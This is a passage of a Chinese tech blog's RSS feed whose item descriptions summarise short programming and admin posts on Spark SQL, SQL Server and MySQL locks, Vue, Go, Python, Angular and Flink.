height&#x9;: 148,&#x9;// 预览框的高,单位为px,非必需,默认为148 minSize&#x9;: 1024,&#x9;// 图片大小最小限制,单位为KB,非必需,无默认值 maxSize&#x9;: 2048,&#x9;// 图片大小最大限制,单位为KB,非必需,无默认值 limitedSize&#x9;: 2048,&#x9;// 图片大小要求,单位为KB,非必需,无默认值 minWidth&#x9;: 100,&#x9;// 图片宽度最小限制,单位为px,非必需,无默认值 minHeight&#x9;: 100,&#x9;// 图片高度最小限制,单位为px,非必需,无默认值 maxWidth&#x9;: 2000,&#x9;// 图片宽度最大限制,单位为px,非必需,无默认值 maxHeight&#x9;: 2000,&#x9;// 图片高度最大限制,单位为px,非必需,无默认值 limitedWidth&#x9;: 800,&#x9;// 图片宽度要求,单位为px,非必需,无默认值 limitedHeight&#x9;: 800,&#x9;// 图片高度要求,单位为px,非必需,无默认值 data&#x9;: [&#34;</description>
    </item>
    <item>
      <title>Spark 2.4.0如何优雅地解决sparksql小文件过多的问题</title>
      <link>https://bchobby.github.io/posts/a1b797efe180989759ba7ca6a42fe146/</link>
      <pubDate>Sat, 05 Sep 2020 15:05:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1b797efe180989759ba7ca6a42fe146/</guid>
      <description>在使用SparkSql进行项目开发的过程，往往会碰到一个比较头疼的问题，由于SparkSql的默认并行度是200，当sql中包含有join、group by相关的shuffle操作时，会产生很多小文件；从集群优化的角度来说，太多的小文件对NameNode的压力比较大，而且太多的小文件对后续使用该表进行计算时会启动很多不必要的maptask，任务耗时高。因此，需要对小文件问题进行优化。&#xA;在Dataset/Dataframe中有repartition/coalesce算子减少输出文件个数，但用户往不喜欢编写和部署Scala/Java/Python代码的repartition(n)和coalese(n)，在Spark 2.4.0版本后很优雅地解决了这个问题，可以下SparkSql中添加以下Hive风格的合并和分区提示：&#xA;--提示名称不区分大小写 INSERT ... SELECT /*+REPARTITION(n)*/ ... INSERT ... SELECT /*+COALESCE(n)*/ ... Coalesce Hint减少了分区数，它仅合并分区 ，因此最大程度地减少了数据移动，但须注意内存不足容易OOM。&#xA;Repartition Hint可以增加或减少分区数量，它执行数据的完全shuffle，并确保数据平均分配。&#xA;repartition增加了一个新的stage，因此它不会影响现有阶段的并行性；相反，coalesce会影响现有阶段的并行性，因为它不会添加新stage。&#xA;该写法还支持多个插入查询和命名子查询。</description>
    </item>
    <item>
      <title>聊一聊 SQL Server 数据库中的锁！</title>
      <link>https://bchobby.github.io/posts/3b1dad5157aee3c0d0f80c38ec29f487/</link>
      <pubDate>Sat, 05 Sep 2020 11:42:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b1dad5157aee3c0d0f80c38ec29f487/</guid>
      <description>你知道的越多，不知道的就越多，业余的像一棵小草！ 你来，我们一起精进！你不来，我和你的竞争对手一起精进！&#xA;编辑：业余草 来源：cnblogs.com/CoderAyu/p/11375088.html 推荐：https://www.xttblog.com/?p=5090 国内有大把的 MySQL 的文章，SQL Server 用的都比较少，关注索引、锁的就更少了，基于此，本文来浅谈一下 SQL Server 数据库中的锁！&#xA;背景 数据库中有一张叫后宫佳丽的表,每天都有几百万新的小姐姐插到表中,光阴荏苒,夜以继日,日久生情,时间长了,表中就有了几十亿的小姐姐数据,看到几十亿的小姐姐,每到晚上,我可愁死了,这么多小姐姐,我翻张牌呢?&#xA;办法当然是精兵简政,删除那些age&amp;gt;18的,给年轻的小姐姐们留位置...&#xA;于是我在数据库中添加了一个定时执行的小程序,每到周日,就自动运行如下的脚本&#xA;delete from `后宫佳丽` where age&amp;gt;18 一开始还自我感觉良好,后面我就发现不对了,每到周日,这个脚本一执行就是一整天,运行的时间有点长是小事,重点是这大好周日,我再想读这张表的数据,怎么也读不出来了,怎是一句空虚了得,我好难啊!&#xA;为什么 编不下去了,真实背景是公司中遇到的一张有海量数据表,每次一旦执行历史数据的清理,我们的程序就因为读不到这张表的数据,疯狂地报错,后面一查了解到,原来是因为定时删除的语句设计不合理,导致数据库中数据由行锁(Row lock)升级为表锁(Table lock)了????.&#xA;解决这个问题的过程中把数据库锁相关的学习了一下,这里把学习成果,分享给大家,希望对大家有所帮助。&#xA;我将讨论SQL Server锁机制以及如何使用SQL Server标准动态管理视图监视SQL Server 中的锁,相信其他数据的锁也大同小异,具有一定参考意义。&#xA;铺垫知识 在我开始解释SQL Server锁定体系结构之前，让我们花点时间来描述ACID（原子性，一致性，隔离性和持久性）是什么。ACID是指数据库管理系统（DBMS）在写入或更新资料的过程中，为保证事务（transaction）是正确可靠的，所必须具备的四个特性：原子性（atomicity，或称不可分割性）、一致性（consistency）、隔离性（isolation，又称独立性）、持久性（durability）。&#xA;ACID 原子性(Atomicity)：一个事务（transaction）中的所有操作，或者全部完成，或者全部不完成，不会结束在中间某个环节。事务在执行过程中发生错误，会被回滚（Rollback）到事务开始前的状态，就像这个事务从来没有执行过一样。即，事务不可分割、不可约简。&#xA;一致性(Consistency)：在事务开始之前和事务结束以后，数据库的完整性没有被破坏。这表示写入的资料必须完全符合所有的预设约束、触发器、级联回滚等。&#xA;隔离性(Isolation)：数据库允许多个并发事务同时对其数据进行读写和修改的能力，隔离性可以防止多个事务并发执行时由于交叉执行而导致数据的不一致。事务隔离分为不同级别，包括未提交读（Read uncommitted）、提交读（read committed）、可重复读（repeatable read）和串行化（Serializable）。&#xA;持久性(Durability)：事务处理结束后，对数据的修改就是永久的，即便系统故障也不会丢失。&#xA;事务 (Transaction) 事务是进程中最小的堆栈，不能分成更小的部分。此外，某些事务处理组可以按顺序执行，但正如我们在原子性原则中所解释的那样，即使其中一个事务失败，所有事务块也将失败。&#xA;锁定 (Lock) 锁定是一种确保数据一致性的机制。SQL Server在事务启动时锁定对象。事务完成后，SQL Server将释放锁定的对象。可以根据SQL Server进程类型和隔离级别更改此锁定模式。这些锁定模式是：&#xA;锁定层次结构 SQL Server具有锁定层次结构，用于获取此层次结构中的锁定对象。数据库位于层次结构的顶部，行位于底部。下图说明了SQL Server的锁层次结构。&#xA;共享（S）锁 (Shared (S) Locks) 当需要读取对象时，会发生此锁定类型。这种锁定类型不会造成太大问题。&#xA;独占（X）锁定 (Exclusive (X) Locks) 发生此锁定类型时，会发生以防止其他事务修改或访问锁定对象。&#xA;更新（U）锁 (Update (U) Locks) 此锁类型与独占锁类似，但它有一些差异。我们可以将更新操作划分为不同的阶段：读取阶段和写入阶段。在读取阶段，SQL Server不希望其他事务有权访问此对象以进行更改,因此，SQL Server使用更新锁。</description>
    </item>
    <item>
      <title>mysql show processlist，kill pid，查看连接数 查看被锁的表</title>
      <link>https://bchobby.github.io/posts/49b7c2ff77285e7dadf856b3d8240522/</link>
      <pubDate>Fri, 04 Sep 2020 10:36:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49b7c2ff77285e7dadf856b3d8240522/</guid>
      <description>show processlist找出执行时间最长的进程&#xA;show [full] processlist;&#xA;展示属于当前用户的线程，如果当前用户有 process privilege，那么会展示所有线程。&#xA;如果不加full，只显示前100条；show processlist展示的线程不包含background thread，所以线程数就等于connections&#xA;除了上述方式，我们还可以通过show status 查看连接，比如使用&#xA;show status like ‘%threads_%’;threads_connected就是连接数就是当前线程数。&#xA;查看被打开的表&#xA;show open tables where in_use&amp;gt;0;&#xA;这里有个疑问，这个sql查出来的表，不一定是被锁住的。因为用查询，如果耗费时间很长，也会查询出来。&#xA;这里的open tables是什么意思？ 每次操作（查询、更新、增加、删除）都会打开表，一个线程一个connection&#xA;为了维护不同的状态，他们分别打开表,这就是open tables，所以说open tables说明在操作表，如果表锁了，这个sql是正确的。&#xA;可以使用 show status like ‘%Opened_tables%’;查看已经打开的表&#xA;活学活用show status和show variables，一个是查看mysql当前状态，一个是查看环境变量；&#xA;KILL [CONNECTION | QUERY] processlist_id&#xA;不加modifier等同于kill connection&#xA;kill query pid，是杀死connection中的sql，不杀死connection&#xA;总结&#xA;先通过show processlist查看耗时最长的进程，找到表；&#xA;然后再使用show open tables where in_use&amp;gt;0 验证一下；&#xA;确认后，使用kill process_id 杀死connection</description>
    </item>
    <item>
      <title>mysql 查看表 是否有死锁</title>
      <link>https://bchobby.github.io/posts/3c8839b14f08d7f4191f06c9dbd1d92e/</link>
      <pubDate>Fri, 04 Sep 2020 10:01:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c8839b14f08d7f4191f06c9dbd1d92e/</guid>
      <description>1、查询是否锁表bai&#xA;show OPEN TABLES where In_use &amp;gt; 0;&#xA;2、查询进程&#xA;show processlist&#xA;查询到相对应的进du程===然后zhi kill id&#xA;补充：&#xA;查看正在锁的事务dao&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS;&#xA;查看等待锁的事务&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS;</description>
    </item>
    <item>
      <title>vue-color插件取色器拾色器使用示例，vue实用demo颜色选择器Sketch组件使用，vue中选色板使用示例</title>
      <link>https://bchobby.github.io/posts/59e2a236b5134c409275b332dd064e74/</link>
      <pubDate>Fri, 04 Sep 2020 00:09:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59e2a236b5134c409275b332dd064e74/</guid>
      <description>一、demo效果 二、使用步骤 1.安装vue-color插件 在终端窗口中输入以下命令 安装插件&#xA;npm install vue-color&#xA;2.引入组件Sketch 使用import语法引入Sketch组件&#xA;import { Sketch } from &#39;vue-color&#39;&#xA;3.注册组件 components: { &#39;sketch-picker&#39;: Sketch }, 4.在html部分使用组件 &amp;lt;sketch-picker v-model=&#34;color&#34; @input=&#34;updateValue&#34;&amp;gt;&amp;lt;/sketch-picker&amp;gt;&#xA;5.处理点击事件 // 颜色输入框点击事件处理 colorInputClick () { this.isShowColors = !this.isShowColors }, // 颜色值改变事件处理 colorValueChange (val) { console.log(val) // 取颜色对象的十六进制值 this.color = val.hex } 三、demo代码 &amp;lt;template&amp;gt; &amp;lt;el-col class=&#34;controls-box&#34;&amp;gt; &amp;lt;el-col :span=&#34;8&#34; class=&#34;label-col&#34;&amp;gt;&amp;lt;label&amp;gt;请选择颜色&amp;lt;/label&amp;gt;&amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;16&#34;&amp;gt; &amp;lt;div @click=&#34;colorInputClick&#34;&amp;gt; &amp;lt;el-input disabled :value=&#34;color&#34; @click=&#34;colorInputClick&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div v-show=&#34;isShowColors&#34; class=&#34;color-select-layer&#34;&amp;gt; &amp;lt;sketch-picker v-model=&#34;color&#34; @input=&#34;</description>
    </item>
    <item>
      <title>从零开始学统计 04 | 协方差与相关性分析</title>
      <link>https://bchobby.github.io/posts/17f5104057a13b25eb9cddc8bfd5e434/</link>
      <pubDate>Thu, 03 Sep 2020 20:42:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17f5104057a13b25eb9cddc8bfd5e434/</guid>
      <description>一、老板的任务 老板今天又给一个任务：&#xA;计算肝脏细胞中 X 基因与 Y 基因的关系。&#xA;现在，两个基因在各个细胞中的表达值都有了。&#xA;绘制不同细胞中 X，Y 基因的表达值在坐标轴上。&#xA;计算 X 基因和 Y 基因在5个细胞中的均值，标准差。&#xA;因为这些测量值都是来自同一个细胞，所以我们可以成对来看：&#xA;那么这样成对的测量可以告诉我们哪些信息呢？&#xA;现在，先将一对细胞连接，绘制一个点&#xA;绘制完成，我们发现，X 基因相对较低的细胞对应的 Y 基因的值也较低，两个基因出现步调一致的表达情况，这可以用一条线来表示：&#xA;不难看到，这条线是正斜率，代表着细胞中的 X 基因表达高，Y基因同样会表达高，同样表达低也会出现相同的情况。说明两基因具有正趋势关系&#xA;来看一个相反的情况：&#xA;上图中的线为负斜率，告诉我们细胞中的 X 基因表达高，Y基因会表达低，出现相反的表达情况。说明两基因具有负趋势关系&#xA;第三种情况是，一个基因相对另一个基因，并没有显著变化。说明两基因无趋势关系：&#xA;我们现在总结出 X 基因相对 Y 基因的关系有以上三种情况：&#xA;正趋势关系负趋势关系无趋势关系 二、协方差 为了去说明 X 基因相对 Y 基因的趋势关系，我们需要一个数学上的解释：&#xA;首先计算 X基因与 Y 基因的均值&#xA;现在计算一个点的与两基因均值的差值：&#xA;将值代入计算：（3-17.6）x（12-24.4）= -14.6 x -12.4 = 181&#xA;如果将五个点都计算一遍，得到：&#xA;现在可以计算**协方差（Covariance）**了：&#xA;会发现：&#xA;这些点所在象限，最终的值都为正值，也就是说这五个点对总协方差的贡献都是正值。&#xA;协方差值为正，斜率为正，这告诉我们当协方差为正时，就可以将二者的关系分类为正趋势。如果协方差为负，则相反。&#xA;协方差的优缺点 但是，协方差值并不能告诉我们表示关系的直线的斜率是陡峭还是平缓，而且也不能反应点距离线是远还是近。协方差唯一能告诉我们的是关系的斜率为正还是负。&#xA;但是协方差还有一个很大的缺点，我们接下来讨论：&#xA;比如现在同样计算两个基因的协方差，我们将左边的数据范围扩大一倍，也就是从40 -&amp;gt; 80。&#xA;接下来，我们继续计算同样的两个基因的协方差，虽然线相对位置没发生变化，但是会发现协方差会扩大4倍。&#xA;就很有意思，我们唯一改变的只是数据点的值范围，数据点的关系并没有变化，但是协方差依旧在改变。&#xA;也就是说，协方差对于数据范围更敏感，而不是数据关系，这就使得它很难用于关系的描述，比如是否接近表示关系的虚线，以及和虚线间的距离。&#xA;虽然这样，但是协方差并不是一无是处，相反它是各种分析的基础，比如主成分分析，相关性分析。</description>
    </item>
    <item>
      <title>显卡驱动无法更新代码19注册列表位置</title>
      <link>https://bchobby.github.io/posts/9fc20cd0b9a51d09835ad528f3304fc9/</link>
      <pubDate>Thu, 03 Sep 2020 16:53:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fc20cd0b9a51d09835ad528f3304fc9/</guid>
      <description>运行Regedit然后在注册表中把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class{4D36E968-E325-11CE-BFC1-08002BE10318}中大括号所对应的项删掉（显示卡部分的注册项），重启机器会重新安装显卡相应驱动即可</description>
    </item>
    <item>
      <title>图片降噪软件哪个好？不如试试Topaz DeNoise AI</title>
      <link>https://bchobby.github.io/posts/18478fcc6fb554996881cf2a5d1646ee/</link>
      <pubDate>Thu, 03 Sep 2020 16:20:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18478fcc6fb554996881cf2a5d1646ee/</guid>
      <description>Topaz DeNoise AI for mac是Topaz系列中的一款AI图像降噪软件，topaz denoise ai mac版提供了数百万个噪声/清晰图像的算法，可以快速消除图像中噪音并且保留原始图像细节，人工智能降噪Topaz DeNoise AI能够很好的帮助用户处理图像。&#xA;Topaz DeNoise AI for mac官方介绍&#xA;毫无保留地以任何光线拍摄任何地方。使用首个AI驱动的降噪工具Topaz DeNoise AI能够消除噪点并恢复图像中的清晰细节。您可能会对获得的结果感到惊讶。&#xA;​原文来自：Topaz DeNoise AI for mac(AI图像降噪软件)v2.2.8激活版&#xA;topaz denoise ai mac版功能特点&#xA;突破性的图像降噪&#xA;降噪技术基本上已经有十年的历史了，只是到处都有很小的增量改进。（我们知道–我们做到了！）DeNoise AI有所不同：我们向算法提供了数以百万计的噪点/清晰图像，直到它真正了解了什么是噪声以及如何最好地将其去除为止。&#xA;随时随地拍摄&#xA;极大的降噪效果就像镜头升级一样。当您拍摄快速动作快照，夜间图像或任何其他需要高ISO的情况时，您将可以获得更高质量的结果。使用DeNoise AI可以在任何情况下帮助您创建像素完美的照片。&#xA;恢复真实细节&#xA;DeNoise AI会检查整个图像，并从整体上确定该照片中细节和噪点之间的差异。（其他NR工具仅查看像素级细节。）在了解了特定图像的噪点与细节后，DeNoise AI从噪点中恢复了惊人的细节。&#xA;选择性应用降噪&#xA;在您的降噪工作流程中，您可能会遇到从某些区域去除噪声效果最好的图像，例如天空，但没有冲击波……在鸟类的光滑羽毛上，而不是粗糙的树皮上……在光滑的外皮上汽车，而不是人行道。DeNoise AI允许您有选择地在图像的某些区域应用降噪，并保持其他纹理不变。&#xA;快速消除照片中的噪音&#xA;在黑暗的舞台上跳舞芭蕾舞演员的250枪。冰冷的阿拉斯加拍摄的300张照片捕捉了舞蹈的极光。有趣的拍摄后，逐张处理每个镜头是一种嗡嗡声。这就是为什么我们在DeNoise AI中添加了批处理功能。&#xA;只需从您的桌面，图像文件夹中导入多个图像，或从Lightroom库中拖放即可快速进行批处理。将批量设置应用到相似场景中的所有图像以进行快速处理，或者单张图像或少量图像，然后在完成批处理之前对这些图像应用不同的设置。我们简化了降噪的每个步骤，因此您可以在工作流程中跳舞。&#xA;增强清晰度&#xA;DeNoise旨在保留尽可能多的图像细节，并让您有机会按照您的意图锐化细节，以获得清晰清晰的照片。&#xA;消除色度噪声&#xA;色度噪声很容易识别为照片上出现的那些讨厌的色斑。色度滑块可让您定位和消除这种特定类型的噪音。&#xA;消除噪音但不消除细节&#xA;该图像是在下雨天拍摄的，DeNoise AI是唯一经证实可将雨水与图像噪声区分开的降噪应用程序，可以将其专业移除，但仍保留细节。&#xA;听听别人对DeNoise AI的看法&#xA;“这是一个了不起的工具，特别是对于像我这样的人来说，除了使用尼康D5200进行拍摄外，在低光和较高的ISO情况下，噪声都是一个问题，它可以拍摄我95％的HDR和手持设备中的照片。这确实做得非常出色，我期待将其添加到我的工具箱中，并处理我的投资组合中很多不错的但嘈杂的镜头！” –约翰·E·亚当斯&#xA;人工智能降噪Topaz DeNoise AI系统要求&#xA;操作系统&#xA;Windows： Windows 7、8、10（仅64位）&#xA;*自2020年1月14日起，Microsoft终止了对Windows 7的支持。&#xA;Mac： macOS版本10.12（Sierra）及更高版本&#xA;我们目前不支持基于Linux的操作系统。</description>
    </item>
    <item>
      <title>谈谈对vue生命周期的理解</title>
      <link>https://bchobby.github.io/posts/7a697ff76eb9d1d63fa6325207dc0c11/</link>
      <pubDate>Thu, 03 Sep 2020 14:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a697ff76eb9d1d63fa6325207dc0c11/</guid>
      <description>vue生命周期概述:&#xA;vue实例从创建到销毁的过程就是生命周期。 也就是从开始创建、初始化数据、编译模板、挂载dom --&amp;gt;渲染、更新–&amp;gt;渲染 、 准备销毁、销毁等一系列过程&#xA;vue的生命函数主要分四大阶段八大钩子函数&#xA;分别为: 创建前\后, 挂载前\后(渲染前\后), 更新前\后, 销毁前\后&#xA;一、创建前\后&#xA;在beforeCreate生命周期函数执行时, data和method还没初始化&#xA;在created生命周期函数执行时, data和method已经初始化完成&#xA;二、挂载前\后(渲染前\后)&#xA;在beforeMount生命周期函数执行的时,已经编译好的模板字符串、还没有真正渲染到页面中去&#xA;在mounted生命周期函数执行时, 已经渲染完, 可以看到页面.&#xA;三、更新前\后&#xA;在beforeUpdate生命周期函数执行时, 已经可以拿到新的数据, 但还没渲染到视图中去.&#xA;在updated生命周期函数执行时, 已经把更新后的数据渲染到了视图中去.&#xA;四、销毁前\后&#xA;在beforeDestroy生命周期函数执行时, 实例进入准备销毁的阶段, 此时date、methods、指令等还是可用状态&#xA;在destroyed生命周期函数执行时, 实例已经完成销毁, date、methods、指令已经不可用了</description>
    </item>
    <item>
      <title>python 类和对象的一些理解</title>
      <link>https://bchobby.github.io/posts/310b1555be5cdad8822f00a5067817da/</link>
      <pubDate>Thu, 03 Sep 2020 00:21:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/310b1555be5cdad8822f00a5067817da/</guid>
      <description>class 类名(): #class关键字定义类，类的命名规范首字母大写，括号中可带参数可不带 类：在python中，把具有相同属性和方法的对象归为一个类（class）&#xA;对象 = 属性（特征）+方法（行为）&#xA;1、类和对象是什么关系呢？&#xA;答：类和对象的关系就如同模具和用这个模具制作出的物品之间的关系。一个类为它的全部对象给出了一个统一的定义，而他的每个对象则是符合这种定义的一个实体，因此类和对象的关系就是抽象和具体的关系。&#xA;通俗地说，类是对象的模板或蓝图，类是对象的抽象化，对象是类的实例化。类不代表具体的事物，而对象表示具体的事物&#xA;对象就是由类产生的&#xA;2、请用一句话概括面向对象的几个特征？&#xA;封装 对外部隐藏对象的工作细节&#xA;继承 子类自动共享父类之间数据和方法的机制&#xA;多态 可以对不同类的对象调用相同的方法，产生不同的结果&#xA;3、self参数的作用是什么？&#xA;答：绑定方法，据说有了这个参数，Python 再也不会傻傻分不清是哪个对象在调用方法了，你可以认为方法中的 self 其实就是实例对象的唯一标志。</description>
    </item>
    <item>
      <title>Golang 的 “omitempty” 关键字略解</title>
      <link>https://bchobby.github.io/posts/b1b7660b4b26d5f354245c4cd3d780fb/</link>
      <pubDate>Wed, 02 Sep 2020 15:54:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1b7660b4b26d5f354245c4cd3d780fb/</guid>
      <description>原文载于 https://old-panda.com/2019/12/11/golang-omitempty/&#xA;用法 熟悉 Golang 的朋友对于 json 和 struct 之间的转换一定不陌生，为了将代码中的结构体与 json 数据解耦，通常我们会在结构体的 field 类型后加上解释说明，例如在表示一个地址的时候， json 数据如下所示&#xA;{ &#34;street&#34;: &#34;200 Larkin St&#34;, &#34;city&#34;: &#34;San Francisco&#34;, &#34;state&#34;: &#34;CA&#34;, &#34;zipcode&#34;: &#34;94102&#34; } 与之相对应的 Golang 结构体表示可能是这个样子的&#xA;type address struct { Street string `json:&#34;street&#34;` // 街道 Ste string `json:&#34;suite&#34;` // 单元（可以不存在） City string `json:&#34;city&#34;` // 城市 State string `json:&#34;state&#34;` // 州/省 Zipcode string `json:&#34;zipcode&#34;` // 邮编 } 这样无论代码中的变量如何改变，我们都能成功将 json 数据解析出来，获得正确的街道，城市等信息，到目前为止一切正常。但如果我们想要将地址结构体恢复成 json 格式时，问题就来了。比方说我们用下面这段代码读取了地址 json ，然后根据业务逻辑处理了之后恢复成正常的 json 打印出来</description>
    </item>
    <item>
      <title>GOLand设置报错warning: go env -w GOPROXY=... does not override conflicting OS environm</title>
      <link>https://bchobby.github.io/posts/96bbe1cfe37eaf6dfa3d4c72371e466b/</link>
      <pubDate>Wed, 02 Sep 2020 15:39:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96bbe1cfe37eaf6dfa3d4c72371e466b/</guid>
      <description>一般来说国内不能直接访问golang官方包：所以需要做个代理就是设置GOPROX环境变量&#xA;设置了Go语言的环境变量：&#xA;go env -w GO111MODULE=on go env -w GOPROXY=https://goproxy.cn,direct 设置完后，在GoLand控制台执行go mod download在执行下载mod报错：&#xA;报错信息是连接不上官方网址，可是我明明走了代理不访问官方网址，走https://goproxy.cn的啊。开始查找原因。&#xA;打开cmd，用go env 命令查看：&#xA;C:\Users\Administrator&amp;gt;go env set GO111MODULE=on set GOARCH=amd64 set GOBIN= set GOCACHE=C:\Users\Administrator\AppData\Local\go-build set GOENV=C:\Users\Administrator\AppData\Roaming\go\env set GOEXE=.exe set GOFLAGS= set GOHOSTARCH=amd64 set GOHOSTOS=windows set GOINSECURE= set GOMODCACHE=C:\Users\Administrator\go\pkg\mod set GONOPROXY=*.corp.example.com set GONOSUMDB=*.corp.example.com set GOOS=windows set GOPATH=C:\Users\Administrator\go set GOPRIVATE=*.corp.example.com set GOPROXY=https://goproxy.cn set GOROOT=D:\Go set GOSUMDB=sum.golang.org set GOTMPDIR= set GOTOOLDIR=D:\Go\pkg\tool\windows_amd64 set GCCGO=gccgo set AR=ar set CC=gcc set CXX=g++ set CGO_ENABLED=1 set GOMOD=NUL set CGO_CFLAGS=-g -O2 set CGO_CPPFLAGS= set CGO_CXXFLAGS=-g -O2 set CGO_FFLAGS=-g -O2 set CGO_LDFLAGS=-g -O2 set PKG_CONFIG=pkg-config set GOGCCFLAGS=-m64 -mthreads -fmessage-length=0 -fdebug-prefix-map=C:\Users\ADMINI~1\AppData\Local\Temp\go-build423114610=/tmp/go-build -gno-record-gcc-switches 然后在GoLand控制台执行go env:</description>
    </item>
    <item>
      <title>[学习笔记] Python【第035讲：图形用户界面入门：EasyGui】总结</title>
      <link>https://bchobby.github.io/posts/31879fcfe443259fc74a997c37ee93ab/</link>
      <pubDate>Tue, 01 Sep 2020 23:59:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31879fcfe443259fc74a997c37ee93ab/</guid>
      <description>[扩展阅读] EasyGUI 学习文档【超详细中文版】&#xA;Python 模块EasyGui详细介绍&#xA;0、安装 EasyGUI&#xA;C:\Users\sjk&amp;gt;D: D:\Program Files (x86)\python\Scripts&amp;gt;**pip install easygui** Collecting easygui Downloading easygui-0.98.1-py2.py3-none-any.whl (90 kB) |████████████████████████████████| 90 kB 3.5 kB/s Installing collected packages: easygui Successfully installed easygui-0.98.1 WARNING: You are using pip version 20.1.1; however, version 20.2.2 is available. You should consider upgrading via the &#39;d:\program files (x86)\python\python.exe -m pip install --upgrade pip&#39; command. D:\Program Files (x86)\python\Scripts&amp;gt;**python -m pip install --upgrade pip -i https://pypi.douban.com/simple** Looking in indexes: https://pypi.</description>
    </item>
    <item>
      <title>图像超分、恢复学习</title>
      <link>https://bchobby.github.io/posts/6dde1d6c55622660a67536ae55239b64/</link>
      <pubDate>Tue, 01 Sep 2020 13:43:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dde1d6c55622660a67536ae55239b64/</guid>
      <description>经典稀疏编码方法：&#xA;https://www.jianshu.com/p/717883f82b87&#xA;https://zhuanlan.zhihu.com/p/37950431&#xA;https://zhuanlan.zhihu.com/p/82749548&#xA;综述：&#xA;https://zhuanlan.zhihu.com/p/38181216</description>
    </item>
    <item>
      <title>如何在ng-template中动态添加模板参考ID</title>
      <link>https://bchobby.github.io/posts/cf9c24b20880c7abdd8b90ccc00b3ebf/</link>
      <pubDate>Tue, 01 Sep 2020 11:43:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf9c24b20880c7abdd8b90ccc00b3ebf/</guid>
      <description> 我有json对象，其中包含一些html字符串。需要创建具有唯一参考变量的多个ng-template。 &amp;lt;div *ngFor=&#34;let el of ElementList&#34;&amp;gt; &amp;lt;ng-template #el.id&amp;gt; &amp;lt;div [innerHtml]=&#34;el.html&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/ng-template&amp;gt; &amp;lt;/div&amp;gt; 这是我的ElementList数组 ElementList = [ {id: &#39;h1&#39;, html: &#39;&amp;lt;h1&amp;gt;sample heading&amp;lt;/h1&amp;gt;&#39;}, {id: &#39;h2&#39;, html: &#39;&amp;lt;h2&amp;gt;sample heading&amp;lt;/h2&amp;gt;&#39;}, {id: &#39;h3&#39;, html: &#39;&amp;lt;h3&amp;gt;sample heading&amp;lt;/h3&amp;gt;&#39;}, ]; 解决方法：&#xA;使用@ViewChildren&#xA;&amp;lt;div *ngFor=&#34;let el of ElementList&#34;&amp;gt; &amp;lt;ng-template #elem&amp;gt; &amp;lt;div [innerHtml]=&#34;el.html&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/ng-template&amp;gt; &amp;lt;/div&amp;gt; 在组件类中，通过ViewChildren访问模板引用变量，就像这样 @ViewChildren(TemplateRef) elem : QueryList&amp;lt;TemplateRef&amp;lt;any&amp;gt;&amp;gt;; 现在可以访问模板了。 console.log(this.elem.toArray()); </description>
    </item>
    <item>
      <title>Python 读取Excel的一列并计算所有对象出现次数</title>
      <link>https://bchobby.github.io/posts/1dd174636832120bb4d3d7de3977f95b/</link>
      <pubDate>Tue, 01 Sep 2020 10:32:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd174636832120bb4d3d7de3977f95b/</guid>
      <description>第一种方法 import pandas as pd from collections import Counter data = &#39;参赛信息.xlsx&#39; data = pd.read_excel(&#39;参赛信息.xlsx&#39;) # 导入参赛信息 x_pandas_list = data[u&#39;专业1&#39;] # 专业情况 list = list(x_pandas_list) c = Counter(list) print(c) 输出形式&#xA;Counter({&#39;自动化学院&#39;: 164, &#39;高分子科学与工程学院&#39;: 112, &#39;化工学院&#39;: 101, &#39;数理学院&#39;: 96, &#39;信息学院&#39;: 96, &#39;材料科学与工程学院&#39;: 53, &#39;经济与管理学院&#39;: 47, &#39;环境与安全工程学院&#39;: 37, &#39;机电工程学院&#39;: 31, &#39;海洋学院&#39;: 6, &#39;材料学院&#39;: 3, &#39;外国语学院&#39;: 1}) 第二种方法 import pandas as pd data = &#39;参赛信息.xlsx&#39; data = pd.read_excel(&#39;参赛信息.xlsx&#39;) # 导入参赛信息 d = data[&#39;专业1&#39;].</description>
    </item>
    <item>
      <title>Flink原理：定时器</title>
      <link>https://bchobby.github.io/posts/c2baf5e8b7e9609c96bf342040227bd8/</link>
      <pubDate>Tue, 01 Sep 2020 09:32:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2baf5e8b7e9609c96bf342040227bd8/</guid>
      <description>文章目录 1. 用途2. 示例3. 原理3.1 注册3.2 触发3.3 延迟队列state3.4 定时器注意事项 1. 用途 Flink定时器存在于窗口的触发，TTL等诸多用途，因此搞清楚其原理对于理解这些知识点至关重要。&#xA;2. 示例 在flink实时处理中，涉及到延时处理可使用KeyedProcessFunction来完成，KeyedProcessFunction是flink提供面向用户的low level api，可以访问状态、当前的watermark或者当前的processingtime, 更重要的是提供了注册定时器的功能，分为：&#xA;注册处理时间定时器，直到系统的processingTime超过了注册的时间就会触发定时任务注册事件时间定时器，直到watermark值超过了注册的时间就会触发定时任务另外也可以删除已经注册的定时器。 示例代码如下：&#xA;// 创建bean类CountWithTimestamp，里面有三个字段 package com.bolingcavalry.keyedprocessfunction; public class CountWithTimestamp { public String key; public long count; public long lastModified; } // 创建FlatMapFunction的实现类Splitter，作用是将字符串分割后生成多个Tuple2实例，f0是分隔后的单词，f1等于1： package com.bolingcavalry; import org.apache.flink.api.common.functions.FlatMapFunction; import org.apache.flink.api.java.tuple.Tuple2; import org.apache.flink.util.Collector; import 